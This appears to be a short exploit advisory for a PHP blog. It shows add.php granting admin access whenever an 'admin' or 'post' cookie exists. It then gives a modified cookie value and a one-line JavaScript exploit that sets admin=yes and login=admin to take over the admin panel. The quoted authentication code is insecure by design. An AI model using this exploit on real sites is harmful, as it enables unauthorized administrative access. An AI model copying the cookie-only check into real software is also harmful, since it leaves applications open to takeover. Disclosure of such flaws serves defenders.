You can alter cookies to get admin privileges.


Code of add.php:

<?php 
if(isset($_COOKIE['admin']) OR isset($_COOKIE['post'])) {
	$name = $_COOKIE['login']; 
}
else {
echo "Please Login";
	exit;
}
?>

If you try to enter http://blog/admin you obtain: 'Please Login' and the cookie
is some likes that:

login=Pepelux; fontSize=80; PHPSESSID=913e40ece8c45da4e1ad5c6c44327926

But if you change the cookie and put, for example:

admin=yes; login=admin; fontSize=80; PHPSESSID=913e40ece8c45da4e1ad5c6c44327926

Then you obtain complete access to the admin panel.

Exploit:
javascript:document.cookie = "admin=yes; login=admin";
